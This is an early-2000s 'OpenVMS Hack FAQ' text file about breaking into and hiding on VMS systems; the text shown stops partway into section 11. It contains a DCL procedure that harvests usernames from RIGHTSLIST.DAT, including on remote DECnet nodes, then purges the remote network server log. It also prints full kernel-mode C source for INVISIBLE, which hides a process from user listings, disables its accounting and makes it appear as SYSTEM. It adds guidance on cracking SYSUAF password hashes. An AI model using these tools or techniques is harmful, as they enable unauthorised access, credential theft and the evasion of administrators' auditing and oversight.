[More modifications/updates/error corrections: 11/02/2002] [A little "hacking" by Doc.Cypher: 05/04/2003] [Major revision work in progress.] [Please refer to http://vmsbox.cjb.net/vms-hackfaq] - OpenVMS HACK FAQ (Frequently Ask Questions) - - Beta 0.16 Release - - 5-APR-2003 - Originally by The Beave (beave@manson.vistech.net) Extra Contributions Add By Tsywt Introduction: This article contain the answers to some frequently asked question (Hence, the name FAQ) about hacking the VMS operating system. "Why a VMS Hacking FAQ?" Several reasons. Once in a while, an escape from Unix is very, very nice. Another reason is that the art of VMS hacking has since vanished, and its replacement are statements like, "Hacking VMS is impossible", "VMS is too cryptic to use", and as always, "Man, VMS sucks". These are generally statements by people who know next to nothing about VMS. I don't want to go into a "which OS is better", because that would defeat the purpose of this file. However, in my personal opinion, both operating systems have their advantages and disadvantages. I have, however, written this FAQ with a Unix overtone to it. This is to help the reader understand what is trying to be accomplished in some examples. The article may be freely redistributed in its entirety provided that credits are not altered or removed. It may not be sold for profit or incorporated in commercial documents without the written permission of the author(s). This is the beta release of this article, which means, the article is still in the working, and is not complete. Submissions, corrections, comments, input, complaints, bomb threats, cash, etc., should be directed toward the alt.2600 newsgroup or beave@vistech.net. If you make additions to the text, please let me know. I'd like to include credits to your contributions in the next FAQ update... (beave@manson.vistech.net) :--- Index ---: More Common Newbie Questions. 1) VMS Basic information. ("What does VMS run on?") 2) Identifying OpenVMS/VMS systems. ("Is it a VMS box?") 3) Public VMS/OpenVMS systems ("Where's one I can play with") *4) The VMS Hobbyist program/where to get a VAX/ALPHA/Emulators ("Where can I get a box to play with?") [To be verified/updated] 5) Password storage information (SYSUAF.DAT) ("Where the hell is the /etc/passwd file??!?!?!") 6) User storage information (RIGHTSLIST.DAT) ("How do I get Usernames?") *7) Cracking the SYSUAF.DAT ("Is there a version of 'Crack' for VMS machines?") [To be verified/updated with J-LG's update to John] 8) Becoming invisible in VMS ("Is there a 'Cloak' routine in VMS?") 9) SET DEFAULT command ("How the do I change damn directories?") 10) The "CD" command ("I hate this SET DEFAULT crap") 11) LOGIN.COM ("Okay, where's my .profile???"). 12) Captive Accounts ("I can't get to DCL"). 13) Terminal monitoring/logging ("How can I monitor a tty?") *14) Accounting/Auditing ("Who is watching me?") [*** NEEDS TO BE MODIFIED**] 15) Buffer overflows/overruns ("Smashing VMS' stack for fun... ") 16) Physical console bypassing ("I'm in front of the machine! Get me in!") VMS Mail Hack Routines. 1) Unix/VMS Sendmail holes ("Will my sendmail holes work on VMS?") VMS Phone Hack Routines. 1) Anonymous Phone Messages ("How do I become a VAXPhone phreaker?") 2) Phone Directories ("How can I do a 'sh users' using the phone protocol?") User/Image Privilege Information. 1) Systems Privileges, Listing and explanation ("How are Priv's setup?") 2) Creating privileged images ("Can I create a SUID Shell on a VMS box?") DECNetwork Information. 1) Brief Description of a DECNet ("What is a DECNet?") 2) What it means to you ("What can it do for me?") 3) Obtaining files/system info/etc. ("How do I get information about the remote?") 4) Using remote nodes ("How do I connect interactively?") 5) Getting node lists ("How do I find connectable nodes?") 6) Proxy Logins ("Can't DECNet nodes be protected?") 7) Proxy Logs ("Are Proxy logins logged? Can I use it to break into nodes?") *8) Sneak Routing ("Can I get to a machine I normally couldn't through another machine?") [Need more information. Too vague] See comp.os.vms discussion about cluster with one machine in the DMZ TCP/IP Connected VMS Machines. 1) Obtaining remote usernames without "FINGER" ("How do I get usernames if FINGER is disabled?") 2) Changing the image running in FINGER ("How do I link a command name to another so it appears I am running a different image?") *3) Bypassing secondary password under Multinet 4.X. Other. *1) How to make /DEBUG/TRACEBACK INSTALL images! [Not Complete] *2) Bypassing OPCOM (Logging information) 3) Reading VMS Disks/CDs 4) WASD (An OpenVMS Web Server package) - Bugtraq security post. - Resources. - Final notes. - More Common Newbie Questions - 1) VMS Basic information ("What does VMS run on?") VMS (Virtual Memory System) runs on Digital Equipment Corp. (DEC - pronounced, "DECK" ) VAX (Virtual Address eXtension) and the DEC Alphas. Digital Equipment Corp was bought out by Compaq in 1998 (for $9.6 billon). DEC was once the second largest computer company, but had fallen due to their lack of drive in the PC market. Compaq was bought out by Hewlett Packard in May of 2002. The VAX line was introduced in 1977 (VAX 11/780). It was to replace the PDP line (12 bit and 16 bit machines). The VAX was one of the world's first 32 bit architectures. The Alpha line was introduced in November of 1992. This was a 64 bit RISC processor. Both can run the OpenVMS operating system. (Compaq began porting OpenVMS to the Intel Itanium processor. HP has continued work on the Itanium port, and the VMS Engineering team managed their first boot followed by a successful DIRECTORY command on the 31st of January 2003.) For more information and history on DEC, the VAX line of systems, Alpha line of systems, and VMS/OpenVMS, check out the G-Bell's CyberMuseum for Digital Equipment Corp at: http://research.microsoft.com/~gbell/Digital/DECMuseum.htm It's also mirrored at: http://www.vistech.net/users/beave/DEC When using the OpenVMS/VMS operating system, users use DCL (Digital Command Language) to interact with the computer. These commands and their syntax are completely different than those of Unix and Unix-like operating systems, thus a completely different mind-set is often required (this is the authors' opinion). 2) Identifying OpenVMS/VMS systems. ("Is it VMS box?") Identification of a possible VMS system can usually be done at the "Username:" prompt. Sometimes the welcome banner itself will reveal that it's a VMS system (for example, "Welcome to ABC Computer Under VMS 5.5-2"). One interesting note: After the Mitnick case, a lot of VMS systems removed the "Welcome" from their banners. If you're still not sure, there are some "checks" that you can perform. One indication is a invalid login attempt will give you a "User authorization failure" message. This is a pretty good indication that the remote system is running VMS. If you're still not convinced, a control-Z at the "Username" prompt will result in, "Error reading command input". For example: Connected to manson.vistech.net Escape character is '^]'. Welcome to OpenVMS (TM) VAX Operating System, Version V7.2 Username: *EXIT* [Ctrl-Z here] Error reading command input End of file detected Connection closed by foreign host. Of course, if the machine is connected to a TCP/IP network, a utility like NMap (http://www.insecure.org/nmap) could help you out as well. Note that reported version information may be inaccurate. Identification of a VMS system should be fairly straightforward. 3) Public VMS/OpenVMS systems ("Where's one I can play with") There are a few about. Here are some that I know about (let me know if there are more!). http://deathrow.vistech.net Free OpenVMS accounts, and we support security research _on our VAXen/Alphas_ (not other people's systems). We have WebSSH support, Webmail, and it's the home of this text that you're reading. DEMO (GUEST) account is available. We currently have a small DECNet up and operational, and we are clustering a mixes of systems (VAXen/Alphas). http://www.hobbesthevax.com Free VMS accounts. They have some decent resources at their website as well. http://www.vax6k.openecs.org Free VMS accounts on a old-school _large_ VAX 6000. DEMO (GUEST) account is available. [This has been down for a little while now]. http://eisner.decus.org VMS accounts for DECUS (err, now ENCOMPASS) members. This is a DEC Alpha DS20 running OpenVMS. They have some interesting conversations via DEC "NOTES". http://vmsbox.cjb.net Free VMS accounts on an AlphaServer 2100. Basically a small departmental server, the system is running OpenVMS v7.3, Multinet IP stack, and WASD web server. Account application details temporarily removed from the webpage, but you can apply to user DC on the Deathrow cluster. *4) The VMS Hobbyist program/where to get a VAX/ALPHA/Emulators ("Where can I get a box to play with?") [To be verified/updated] VAXen and Alphas are pretty easy to come by, and usually are not terribly expensive. Good starting resources are E-Bay and misc.forsale.computers.workstation. One thing to keep in mind, is that older VAXen can weigh up to a ton. For example, I prefer the "MicroVAX's" (uVAX). The uVAX 3100 series is not much larger than a average PC. However, a uVAX II (BA23 or BA123 case) can weigh up to 100 pounds and stands a good 3 1/2 feet tall (I'm just guessing here)..... We aren't even getting into the cost of power to run the machine, not to mention the real big monsters that need a 3-phase power supply. As with any purchases, check around. Get pictures if possible. Ask the person selling it for information. One nice thing about Alphas and VAXen is that they can run various operating systems besides OpenVMS. For example, NetBSD, Linux (still under development), OpenBSD and Ultrix run on the VAX line. On the Alpha, Tru64 (Digital Unix), Linux (Redhat, etc), NetBSD, OpenBSD, to name a few. Windows NT was even ported to the Alpha series. Watch out with some Alpha systems, there have been several systems which could not run VMS due to firmware restrictions. Refer to the 'official' VMS FAQ for information on that. If you have a VAX/Alpha, and wish to run OpenVMS, the easiest way is through the Hobbyist program. As a VMS hobbyist, you can get a full installation. This includes things like compilers (C, Pascal, BASIC COBOL, etc), DECWindows, TCP/IP (Local use only), DECNET support and much more. Other companies also support the Hobbyist program as well. For example, Process Software (http://www.process.com) offers _full_ TCP/IP software for hobbyist. Free of cost, TCPWARE and MULTINET are available (As long as you stick to the hobbyist license!) To get VMS under the Hobbyist program, you must be an ENCOMPASS or DECUS member (check out http://www.encompassus.org for more information. The free membership is enough to get Hobbyist access.) Once you've become a member, you can order (and get more information about installation, etc) from http://www.openvmshobbyist.org. This still links into the original Hobbyist license and distro site, http://www.montagar.com/hobbyist/, although the links have been labelled in a VMS/DCL style that some may find confusing. If you're not in the market for a VAX/Alpha, there are several VMS emulators available. If you just need a DCL like command environment for your Windows/DOS machine, there's always PC DCL. It's not perfect, but it will give you "VMS" like commands. That can be obtained from: ftp://ftp.process.com/vms-freeware/fileserv/pc_dcl.zip Another alternative for the bold might be the FreeVMS project. This project aims to create a Free (GNU) VMS-like operating system for primarily the i386 platform (they are also targeting the PPC, Sparc, and Alpha processors). For more information, check out: http://www.freevms.org Probably the best emulator is the CHARON-VAX. This is a commercial product, however, you can obtain a copy of their old PicoVAX emulator via their website. The commercial product is a full-on, VAX emulator for MS Windows (and Linux!). That is, it will run VAX VMS binary code, without modification. The software emulates a MicroVAX 3100. For a "DEMO" of it (Currently a Windows2000 machines running the emulator), you can TELNET to the following: telnet://charon.sri-gva.ch Login as "WINDEMO" or "3100demo" (no password needed). They also make emulators for the DEC PDP series. For more information about their product(s), check out: http://www.charon-vax.com SIMH is realistically the only emulator Hobbyists can make full use of following SRI withdrawing their restricted version of Charon-VAX for Hobbyists. This was due to abuse through a crack being devised. The SIMH home page is at http://simh.trailing-edge.com/ As with all of the emulators, they are _hardware emulators_. You must load an operating system onto these before they are any use. 5) Password storage information (SYSUAF.DAT) ("Where the hell is the /etc/passwd file??!?!?!") There is no /etc/passwd file. All user information is kept in a file called SYSUAF.DAT (and RIGHTSLIST.DAT), which is stored in the directory SYS$SYSTEM: (Actually, SYS$SYSTEM is a VMS logical). This file is usually not readable by "normal" users. Older VMS systems (vanilla install) came with a few default accounts (SYSTEM, FIELD, etc). These have been disabled for quite some time. Some default accounts still exist. However, by default, they have the "/DISUSER" flag set. Meaning; a disabled user. The system manager would have to manually enable these users. This has been the default with VMS for some time. It never hurts to try, but each failed attempt results in a message on the operator's console. Default installation of the SYSUAF.DAT file is as follows: File protection: System:RWE, Owner: RWE, Group:, World: As a "normal" user, you probably won't be able to touch this file. 6) User storage information (RIGHTSLIST.DAT) ("How do I get Usernames?") One file that is sometimes readable by "normal" (TMPMBX, NETMBX) users is the SYS$SYSTEM:RIGHTSLIST.DAT. This file has a list of users and/or groups and the respective rights identifiers. Since the file isn't very readable (embedded with control characters), an extraction program is a nice tool to have. This is a fairly reliable source for usernames, but it is not the end-all-be-all list. That would still be the SYSUAF.DAT. Users _can_ be created without modifying the RIGHTSLIST.DAT. However, it's not terribly common. Below are two examples of such "conversion" programs. One is a DCL command procedure, and "probably shouldn't be used", especially on a large system. This is "because of its inefficiency" (Quotes from the author, Tsywt). The second one is written in C and should compile just about anywhere (OpenVMS, Linux, OpenBSD, etc). It's much more efficient as well. If you find yourself on a system without a C compiler, or can't use the DCL procedure, you can obtain binary copies of these programs at: ftp://manson.vistech.net/beaves-stuff There are Alpha and VAX binaries, as well as all source code. Another thing to note here, as of OpenVMS 6.0, the RIGHTSLIST. DAT is no longer world readable by default. Default installation of the RIGHTSLIST.DAT is as follows: File protection: System:RWED, Owner:RWED, Group:, World: Don't let this fool you. Even on modern VMS installs, it's not uncommon to find the RIGHTSLIST.DAT readable. Either that, or a readable copy. ---------- $! Program: Extract_Rights.Com $! Author: Tsywt $! $ On Error Then $Goto Exit $! $ If F$mode() .Nes. "INTERACTIVE" then goto BATCH_END $ $ Inquire system "Please enter system" $ If system .eqs. "" $ Then $ Open/share in sys$system:rightslist.dat $ Else $ Open/share in 'system'::sys$system:rightslist.dat $ Endif $ Open/write out users.dat $ Read/nolock in record $Read_Loop1: $ Read/nolock in record /end=Done_Users $! If not at start of environmental identifiers $ If f$extract(16,6,record) .nes. "BATCH " $ Then $ Write out f$extract(0,4,record) + " " + f$extract(16,32,record) $ Else $ Goto Done_Users $ Endif $ Goto Read_Loop1 $Done_Users: $ Close out $ Open/write out rights.dat $ Write out f$extract(0,4,record) + " " + f$extract(16,32,record) $Read_Loop7: $ Read/nolock in record /end=Done_Rights $! holder is null $ If f$extract(8,1,record) .eqs. "" $ Then $ Write out f$extract(0,4,record) + " " + f$extract(16,32,record) $ Endif $ Goto Read_Loop7 $Done_Rights: $ Close out $! $ Open/write out users_ids.dat $ Open in2 users.dat $Read_Loop2: $ position = 0 $ Read/nolock in2 record1 /end=Done_Program $Read_Loop3: $! Go to first record in file because can't do key search on id $ Open/share in3 rights.dat $! Search holders for user id $ Read/nolock/error=Done_No_Id in - record2/index=1/key="''f$extract(0,4,record1)'"/end=Done_No_Id $Read_Loop4: $! Kluge because nulls cause problems on key search $ If f$extract(8,4,record2) .nes. f$extract(0,4,record1) $ Then $ Read/nolock in record2/end=Done_No_Id $ Goto Read_Loop4 $ Endif $! Move to next holder match $ temp_pos = position $Read_Loop5: $ If temp_pos .gt. 0 $ Then $ Read/nolock in record2/end=Read_Loop2 $ If f$extract(8,4,record2) .nes. f$extract(0,4,record1) $ Then $ Goto Read_Loop2 $ Endif $ temp_pos = temp_pos - 1 $ Goto Read_Loop5 $ Endif $Read_Loop6: $! Look for identifier id $ Read/nolock in3 record3/end=Done_No_Id $ If f$extract(0,4,record3) .eqs. f$extract(0,4,record2) $ Then $ Write out f$extract(5,32,record1) + " " + f$extract(5,32,record3) $ position = position + 1 $ Close in3 $ Goto Read_Loop3 $ Endif $ Goto Read_Loop6 $Done_No_Id: $ Write out f$extract(5,32,record1) $ Close in3 $ Goto Read_Loop2 $Done_Program: $Exit: $ Close/error=Close_In2 in $Close_In2: $ Close/error=Close_Out in2 $Close_Out: $ Close out $ Delete users.dat. $ Delete rights.dat. $ If system .nes. "" $ Then $ Submit/after="+:15"/keep/params=('system') extract_rights.com $ Endif $ Exit $Batch_End: $Clean_Up: $! Clean up DECnet logging $ Dir 'p1'::netserver.log $ Purge 'p1'::netserver.log $ Exit ---------- Here's the RIGHTSLIST converter in C. ------------- /* RLFilter 2.0 - Its "2.0" because 1.0 was lost a long time ago As you can see, this isn't rocket science, but its a handy little conversion utility. This takes VMS RIGHTSLIST.DAT, and strips out all unwanted characters [converts it to standard ASCII]. To compile, at your DCL prompt [Nothing Special] $ CC RLFILTER $ LINK RLFILTER To use: $ RLFILTER :== MCR DEVICE:[DIRECTORY]RLFILTER.EXE For example, on my uVAX: $ RLFILTER :== MCR DKA100:[USERS.BEAVE]RLFILTER.EXE Once you do this, just type "RLFILTER" for more instructions. If you don't have a C compiler, go to ftp://manson.vistech.net/ beaves-stuff for binaries of this (Alpha/VAX). This should compile on about anything. Works fine on OpenVMS, OpenBSD and Linux. */ #include #include char inputfile[20]; char outputfile[20]; char inbuf; int f; int i; int nflag; FILE *infp; FILE *outfp; void main(int argc, char **argv) { if ( argc < 3 ) { fprintf(stderr, "RLFilter 2.0, Beave [beave@manson.vistech.net]\n"); fprintf(stderr, "[Usage]:\n\nRLFILTER [Input File] [Output File]\n"); exit(1); } sprintf(inputfile, "%s", argv[1]); sprintf(outputfile, "%s", argv[2]); if ((infp = fopen(inputfile, "r")) == NULL) { fprintf(stderr, "ERROR: Cannot open %s!\n", inputfile); exit(1); } if ((outfp = fopen(outputfile, "w")) == NULL) { fprintf(stderr, "ERROR: Cannot open %s!\n", outputfile); exit(1); } printf("RLFilter 2.0 - By Da Beave [beave@manson.vistech.net]\nWorking"); while (inbuf != EOF) { inbuf = fgetc(infp); /* If its a space right after a isupper/isdigit/etc, then place a \n. Otherwise, skip it. */ if (isspace(inbuf) && nflag==1) { fprintf(outfp, "\n"); printf("."); nflag=0; } /* All alpha's are in uppercase, so any lower case we don't want. Numberic usernames are valid (and alpha-numeric), so keep that. We don't want all punctuation, but $ and _ are valid. Are there any other characters that could be valid? */ if (isupper(inbuf) || isdigit(inbuf) || (inbuf == '$') || (inbuf == '_')) { fprintf(outfp, "%c", inbuf); nflag=1; } } fclose(infp); fclose(outfp); printf("Complete!\n"); } ---------- *7) Cracking the SYSUAF.DAT ("Is there a version of 'Crack' for VMS machines?") [To be verified/updated with J-LG's update to John] The Unix program, "Crack" will not work, but there are password guessing routines available. Some example code can be found at: ftp://manson.vistech.net/fileserv/uaf.zip ftp://ftp.process.com/pub/vms-freeware/fileserv/uaf.zip In order for the routine to work, you need access to the SYSUAF.DAT. The UAF.ZIP needs to be "re-tooled". It has some compiling issues (nothing serious) on modern VMS boxes. It does come with pre-compiled binaries (For both the VAX/Alpha). There is also a program available for the PC/MSDOS called VMSCrack 1.0. Once again, it requires that you have access to the SYSUAF.DAT so that you can copy it to the PC. This is rather nice, as it won't eat up resources on the VMS box. VMSCrack 1.0 can be obtained at: ftp://manson.vistech.net/dos/vmscrack10.zip This comes with DOS binaries and source code. I have not tested the DOS binaries, but assume that they work. I'm in the process of porting this code to Unix (OpenBSD, Linux) style platforms. The code is fairly old, and needs to be re-tooled. Anyways, I haven't completed the port yet. Around VMS 4.7 (or so?) DEC supplied "password auditing" program for administrators. As usual, with this you must have access to the SYSUAF.DAT (sorry, there is no way around this!). On pre-OpenVMS 7.0 systems, you can find this utility in the: SYS$COMMON:[SYSUPD]VMS$SECUREPWD.EXE On systems later 7.0, the image is named: SYS$COMMON:[SYSUPD]VMS$SECUREPWD_PRE70.EXE Keep in mind, this is _not_ a privileged image! Anyone can execute it, but you'll still need access to the SYSUAF.DAT. Still, it can be somewhat useful in system auditing. To use it, as a priv'ed user, you'd type: $ SECUREPWD :== MCR SYS$COMMON:[SYSUPD]VMS$SECUREPWD_PRE70.EXE (We'll assume this a POST-7.0 system - Simple check your system with a DIR SYS$COMMON:[SYSUPD]*securepwd*.*;* - if it's not there, the administrator removed it, or has renamed it). From this point, we can type: $ SECUREPWD CHECK USERNAME/GUESS (Replace "USERNAME" with a valid username). Once this completes the logical name/symbol VMS$SECURE has one of the following values. VALID - Password meets criteria, and is considered "strong" (keep reading....) WEAK - Password fails to meet criteria, and is considered weak. DISUSER - Account exists, but is disabled. NONEXSIST - The account doesn't exist. To see what VMS$SECURE holds for us, we'd type at our DCL prompt: $ TYPE SYS$OUTPUT VMS$SECURE It should give one of the above (WEAK, VALID....) responses. The example above will simply check things like, the length of the password, and does the password equal the username. That is, it will _not_ perform a dictionary attack (It does check for a couple of common passwords. For example, "PANCAKE", "PASSWORD", "SECONDARY", "BRATWURST"... You can see these by "DUMP"'ing the image). So, even "VALID" password can be still considered weak. It's sometimes useful to check against known weak passwords (i.e - "WORK", "SECURE", "QWERTY", etc). To do this, you'd type: $ SECUREPWD CHECK USERNAME/GUESS/EXCLUDE=(WORK,SECURE,QWERTY) This would check the USERNAME's password for length, that the USERNAME does not equal the password, and that the password is _not_ the words, "WORK", "SECURE" or "QWERTY". Of course, individual results will be in the VMS$SECURE logical. Using a little imagination, one could write a DCL command procedure (or something that calls SECUREPWD.EXE) to do a dictionary attack. VMS systems for a while shipped such a command procedure. Although it should be trivial to write, you can get the original from: ftp://manson.vistech.net/dec/securepwd.com It is no longer shipped with VMS..... You'll probably have to make some modifications to the original.... (I haven't tested the procedure). Another thing to keep in mind is today's modern VMS systems don't really tolerate bad (weak) passwords. On a vanilla install system, VMS will even keep track of already used passwords (in the SYS$SYSTEM:VMS$PASSWORD_HISTORY.DATA file). This file uses the same "one way" encryption the SYSUAF.DAT does (why wouldn't it?).... And as with the SYSUAF.DAT file, it is normally not readable by "normal" users. 8) Becoming invisible in VMS ("Is there a 'Cloak' routine in VMS?") Yes. Below is the code needed to make your process invisible to "FINGER", "SHOW USERS", etc... Also, check out Bruce Ellis' "Hitchhikers Guide to VMS" You will need the CMKRNL privilege in order to use this!. First, create the following file: You can download this at binaries and source from: ftp://manson.vistech.net/fileserv/invisible.zip ftp://ftp.process.com/pub/vms/vms-freeware/fileserv/invisible.zip Name: BUILD_INVISIBLE.COM ---------------------------------[Cut Here]----------------------------------- $ save_verify = 'f$verify(0)' $ system = "vax" !Set to "alpha" for Alpha $! $! File to build Ehud Gavron's INVISIBLE $! $! Author: Hunter Goatley $! $ say := write sys$output $ on error then goto common_exit $ on contrl_y then goto common_exit $ say "Extracting $JIBDEF and $PCBDEF from LIB.MLB...." $ library/macro/extr=$JIBDEF/out=jibdef.mar sys$library:lib.mlb $ library/macro/extr=$PCBDEF/out=pcbdef.mar sys$library:lib.mlb $ say "Converting $*DEF macros to C .H files...." $ call convert_to_h jibdef.mar $ call convert_to_h pcbdef.mar $ say "Compiling INVISIBLE...." $ cc invisible $ say "Linking INVISIBLE...." $ link/notrace invisible,invisible.opt_'system'/opt $ say "INVISIBLE build completed" $ common_exit: $ exit f$verify(save_verify).or.1 $ convert_to_h: subroutine $ name = f$parse(p1,"","","NAME") $ open/read tmp 'p1' $ create 'name'.H $ open/append tmph 'name'.H $ cvt_loop: $ read/error=cvt_fin tmp line $ if f$extract(0,4,line).nes."$EQU" then goto cvt_loop $ write tmph "#define ",f$extract(4,255,line) $ goto cvt_loop $ cvt_fin: $ close tmp $ close tmph $ write sys$output "C header file ''name'.H created" $ exit $ endsubroutine -------------------------------[End Of File]----------------------------------- Next is the C Code for the "INVISIBLE" routine.... Name: INVISIBLE.C ---------------------------------[Cut Here]------------------------------------ /* * Invisible - Make a process invisible and visible again. Originally * written in MACRO32. Now in C so it runs on Alpha too. * * * Option file invisible.opt: * ALPHA: sys$loadable_images:sys$base_image.exe/share * * VAX: sys$system:sys.stb/selective_search * * * Build: * $ cc invisible * $ link invisible,invisible/opt * * Usage: * $ run invisible * * * Ehud Gavron * ACES Consulting Inc. * Gavron@ACES.COM * * 14-Oct-1992 Ehud Gavron Ported to C, Alpha, ANSI, and * everything else. * */ #define module_name INVISIBLE #define module_version "V1.0.0" #ifdef __alpha #pragma module module_name module_version #else /* __vax */ #module module_name module_version #endif /* __alpha */ #ifndef __alpha #define sys$gl_ijobcnt sys$gw_ijobcnt #endif #include #include "jibdef.h" /* Extracted from LIB.MLB and massaged into C form */ #include "pcbdef.h" /* Extracted from LIB.MLB and massaged into C form */ #include #include #include #include typedef union { struct { short s_buflen; short s_itemcode; char *s_bufaddr; int *s_retlen; } s; unsigned long end; } ITEMLIST; #define buflen s.s_buflen #define itemcode s.s_itemcode #define bufaddr s.s_bufaddr #define retlen s.s_retlen struct ISB { int l_uic; int l_namelen; #ifdef __alpha int l_jobtype; #else char b_jobtype; #endif char b_terminal; char t_lname[PCB$S_LNAME + 1]; char t_username[JIB$S_USERNAME + 1]; }; struct ISB isb; static int lnm_retlen; ITEMLIST lnm_itmlst[2]; ITEMLIST jpi_itmlst[2]; struct dsc$descriptor_s prcnam_desc; struct dsc$descriptor_s prcnam; $DESCRIPTOR(lnm_tabnam,"LNM$PROCESS_TABLE"); $DESCRIPTOR(lnm_lognam,"ISB"); $DESCRIPTOR(fao_prcnam,"SYMBIONT_!UL"); int sysuic = 0x00010004; char sysusername[] = "SYSTEM "; char namebuf[PCB$S_LNAME]; #ifdef __alpha main() #else cmain() #endif { int sys$cmkrnl(),sys$exit(),invisible_k(); int ss_stat; lnm_itmlst[0].buflen = sizeof(isb); lnm_itmlst[0].itemcode = LNM$_STRING; lnm_itmlst[0].bufaddr = (char *)&isb; lnm_itmlst[0].retlen = &lnm_retlen; lnm_itmlst[1].end = 0; jpi_itmlst[0].buflen = PCB$S_LNAME; jpi_itmlst[0].itemcode = JPI$_PRCNAM; jpi_itmlst[0].bufaddr = (char *)&isb.t_lname; jpi_itmlst[0].retlen = (int *)&isb.l_namelen; jpi_itmlst[1].end = 0; prcnam_desc.dsc$a_pointer = (char *)&isb.t_lname; prcnam_desc.dsc$w_length = PCB$S_LNAME; prcnam_desc.dsc$b_dtype = DSC$K_DTYPE_T; prcnam_desc.dsc$b_class = DSC$K_CLASS_S; prcnam.dsc$a_pointer = (char *)&namebuf; prcnam.dsc$w_length = PCB$S_LNAME; prcnam.dsc$b_dtype = DSC$K_DTYPE_T; prcnam.dsc$b_class = DSC$K_CLASS_S; ss_stat = sys$cmkrnl(invisible_k,0); (void) sys$exit(ss_stat); } int invisible_k() { int sys$getjpiw(),sys$crelnm(),sys$fao(),sys$setprn(); int strncpy(),sys$exit(),sys$trnlnm(),sys$dellnm(); int *a_long; int acmode = PSL$C_KERNEL; #pragma nostandard /* Oh well */ globalref ctl$gl_pcb; globalref sys$gl_ijobcnt; #pragma standard int ss_stat; char *pcb; char *jib; long *sts; long *own; char *p; long *q; int loop = 0; pcb = (char *)ctl$gl_pcb; if (pcb == 0) { return(0); } q = (long *)((char *)pcb + PCB$L_JIB); jib =(char *) *q; sts = (long *)((char *)pcb + PCB$L_STS); if (*sts & PCB$M_INTER) { /* Do stealth mode */ *sts = *sts^PCB$M_INTER; *sts = *sts|PCB$M_NOACNT; own = (long *)((char *)pcb + PCB$L_OWNER); if (*own == 0) { /* We are not a subprocess */ sys$gl_ijobcnt--; } p = (char *)pcb + PCB$T_TERMINAL; isb.b_terminal = *p; *p = '\0'; #ifdef __alpha q = (long *)((char *)jib + JIB$L_JOBTYPE); isb.l_jobtype = *q; *q = 0; #else p = (char *)jib + JIB$B_JOBTYPE; isb.b_jobtype = *p; *p = '\0'; #endif strncpy((char *)&isb.t_username, (char *)(jib + JIB$T_USERNAME), JIB$S_USERNAME); strncpy((char *)(jib + JIB$T_USERNAME), (char *)&sysusername, JIB$S_USERNAME); q = (long *)((char *)pcb + PCB$L_UIC); isb.l_uic = *q; *q = sysuic; ss_stat = sys$getjpiw(0,0,0,&jpi_itmlst,0,0,0); if (!(ss_stat & 1)) return(ss_stat); ss_stat = sys$crelnm(0, &lnm_tabnam, &lnm_lognam, &acmode, &lnm_itmlst); if (!(ss_stat & 1)) return(ss_stat); do { loop++; prcnam.dsc$w_length = PCB$S_LNAME; ss_stat = sys$fao((char *)&fao_prcnam, (char *)&prcnam.dsc$w_length, (char *)&prcnam, loop); if (!(ss_stat &1)) return(ss_stat); ss_stat = sys$setprn((char*)&prcnam); } while (ss_stat == SS$_DUPLNAM); return(SS$_NORMAL); } else { /* unstealth */ ss_stat = sys$trnlnm(0, &lnm_tabnam, &lnm_lognam, &acmode, &lnm_itmlst); if (!(ss_stat & 1)) return(ss_stat); ss_stat = sys$dellnm(&lnm_tabnam, &lnm_lognam, &acmode); if (!(ss_stat & 1)) return(ss_stat); *sts = *sts|PCB$M_INTER; *sts = *sts^PCB$M_NOACNT; own = (long *)((char *)pcb + PCB$L_OWNER); if (*own == 0) { /* We are not a subprocess */ sys$gl_ijobcnt++; } q = (long *)((char *)pcb + PCB$L_UIC); *q = isb.l_uic; p = (char *)pcb + PCB$T_TERMINAL; *p = isb.b_terminal; #ifdef __alpha q = (long *)((char *)jib + JIB$L_JOBTYPE); *q = isb.l_jobtype; #else p = (char *)jib + JIB$B_JOBTYPE; *p = isb.b_jobtype; #endif strncpy((char *)(jib + JIB$T_USERNAME), (char *)&isb.t_username, JIB$S_USERNAME); prcnam_desc.dsc$w_length = (short)isb.l_namelen; ss_stat = sys$setprn(&prcnam_desc); return; } } #ifndef __alpha int strncpy(a,b,c) char *a,*b; int c; { for (; c > 0; c--) { *a++ = *b++; } } #endif --------------------------------[End Of File]---------------------------------- After these files are created, type in the following at your DCL prompt: $ @build_invisible ! This will build our INVISIBLE.EXE routine. $ run invisible ! One the build is complete. You should be completely "cloaked". 9) SET DEFAULT command ("How the do I change damn directories?") This is done via the "SET DEFAULT" command. In the following format: $ SET DEFAULT device:[directory] VMS uses a standard hierarchy system, in which devices and directories are separated. For example, our home device/directory might be: DISK3:[USR.JOEHACKER] DISK3: would represent the device that we are on/using while, [USR.JOEHACKER] would signify the actual directory on that device that we are using. So, to change directory, we could type: $ SET DEFAULT [USR.BOB] If [USR.BOB] is a existing directory, this would now be our current path (and we would still be located on the DISK3: device. If we wanted to simply back out one level (to the [USR]) on that device, we would issue the following command: $ SET DEFAULT [-] The "[-]" signifies one directory back. So if our path is, [USR.BOB.HACKING.VMS.PROGRAMS], and we want to get to the [USR.BOB] directory, instead of typing the entire path again, we could simply type: $ SET DEFAULT [---] "[---]" means, back out three levels of the hierarchy. There can be several devices on one VMS system (Device names can be obtained via a "SHOW DEVICES"). While your home directory might be on DISK3, another user's could be on device DISK2. To switch devices, we can add in the device name, followed by the directory (if needed). So, if you need to get to a user who stores information in the DISK2:[REALLY.SECRET.STUFF] directory, you could type the following DCL command: $ SET DEFAULT DISK2:[REALLY.SECRET.STUFF] Or if we are currently in the "DISK3:[REALLY]" and we want to get to the information in the "DISK2:[REALLY]" directory, we could simply type: $ SET DEFAULT DISK2: And the rest would be carried over. In the event that you need to get to the top of the hierarchy (Unix equivalent: "cd /"), SET DEFAULT (to any disk structured device) to "[000000]". For example, to get to the very top of the hierarchy on device DISK2, you would type: $ SET DEFAULT DISK2:[000000] VMS will also allow you to SET DEFAULT to a directory that does not exist. When this happens, the operating system will inform you. Usually with a error like: %DIRECT-E-OPENIN, error opening DKA400:[BOGUSDIRECTORY]*.*;* as input -RMS-E-DNF, directory not found -SYSTEM-W-NOSUCHFILE, no such file If at any point you get completely lost, you can return to your "home" directory by typing: $ SET DEFAULT SYS$LOGIN: 10) The "CD" command ("I hate this SET DEFAULT crap") By default you're stuck with it. There are two things that you can do. One, add the following line to your "LOGIN.COM" (see where's my .profile in VMS for more information). $ CD :== SET DEFAULT ! I R hating to be typing that long "SET DEF" command Older VMS Hacks had a DCL command procedure that would act as the "CD" command (see Phrack, Vol 2. Issue 19, File 2). This has since been removed, as its not terribly efficient. You can find better "CD" commands (source and executable) at ftp://manson.vistech.net/fileserv/sd.zip 11) LOGIN.COM ("Okay, where's my 